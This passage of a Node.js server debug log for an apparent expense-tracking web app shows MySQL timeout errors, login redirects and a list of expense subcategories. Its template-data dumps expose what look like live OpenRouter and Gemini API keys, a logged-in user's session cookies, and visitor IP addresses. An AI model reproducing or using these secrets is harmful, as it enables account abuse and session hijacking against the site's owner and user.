    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 10:22:29' as DATETIME)"
}
2025-12-23T10:32:49.033Z server-connect:router Serving templateView /
2025-12-23T10:32:49.034Z server-connect:app Executing action step identify
2025-12-23T10:32:49.034Z server-connect:app options: { provider: 'security' }
2025-12-23T10:32:49.034Z server-connect:auth No login cookie found
2025-12-23T10:32:49.034Z server-connect:output identity: false
2025-12-23T10:32:49.034Z server-connect:app Executing action step restrict
2025-12-23T10:32:49.034Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T10:32:49.035Z server-connect:output restrict: undefined
2025-12-23T10:32:49.152Z server-connect:router Serving templateView /login
2025-12-23T10:32:49.153Z server-connect:app Executing action step identify
2025-12-23T10:32:49.153Z server-connect:app options: { provider: 'security' }
2025-12-23T10:32:49.153Z server-connect:auth No login cookie found
2025-12-23T10:32:49.153Z server-connect:output identity: false
2025-12-23T10:32:49.153Z server-connect:router Render template layouts/authentication
2025-12-23T10:32:49.153Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.172.79.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T10:32:49.152Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.172.79.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.172.79.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-23T10:46:06.931Z server-connect:router Serving templateView /
2025-12-23T10:46:06.932Z server-connect:app Executing action step identify
2025-12-23T10:46:06.932Z server-connect:app options: { provider: 'security' }
2025-12-23T10:46:06.932Z server-connect:auth No login cookie found
2025-12-23T10:46:06.932Z server-connect:output identity: false
2025-12-23T10:46:06.932Z server-connect:app Executing action step restrict
2025-12-23T10:46:06.932Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T10:46:06.932Z server-connect:output restrict: undefined
2025-12-23T10:46:07.032Z server-connect:router Serving templateView /login
2025-12-23T10:46:07.032Z server-connect:app Executing action step identify
2025-12-23T10:46:07.032Z server-connect:app options: { provider: 'security' }
2025-12-23T10:46:07.032Z server-connect:auth No login cookie found
2025-12-23T10:46:07.032Z server-connect:output identity: false
2025-12-23T10:46:07.032Z server-connect:router Render template layouts/authentication
2025-12-23T10:46:07.032Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '13.217.123.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T10:46:07.031Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '13.217.123.200',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '13.217.123.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 10:52:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 10:52:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 10:57:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 10:57:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 11:39:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 11:39:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 11:59:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 11:59:54' as DATETIME)"
}
2025-12-23T12:32:56.668Z server-connect:router Serving templateView /
2025-12-23T12:32:56.670Z server-connect:app Executing action step identify
2025-12-23T12:32:56.670Z server-connect:app options: { provider: 'security' }
2025-12-23T12:32:56.670Z server-connect:output identity: 1
2025-12-23T12:32:56.670Z server-connect:app Executing action step restrict
2025-12-23T12:32:56.671Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T12:32:56.673Z server-connect:output restrict: undefined
2025-12-23T12:32:56.673Z server-connect:app Executing action step restrict
2025-12-23T12:32:56.673Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T12:32:56.674Z server-connect:output restrict: undefined
2025-12-23T12:32:56.674Z server-connect:router Render template layouts/main
2025-12-23T12:32:56.674Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-23T12:33:00.667Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-23T12:33:00.668Z server-connect:app Executing action step identify
2025-12-23T12:33:00.668Z server-connect:app options: { provider: 'security' }
2025-12-23T12:33:00.668Z server-connect:output identity: 1
2025-12-23T12:33:00.668Z server-connect:app Executing action step restrict
2025-12-23T12:33:00.668Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T12:33:00.669Z server-connect:output restrict: undefined
2025-12-23T12:33:00.671Z server-connect:app Executing action step select
2025-12-23T12:33:00.672Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-23T12:33:00.681Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
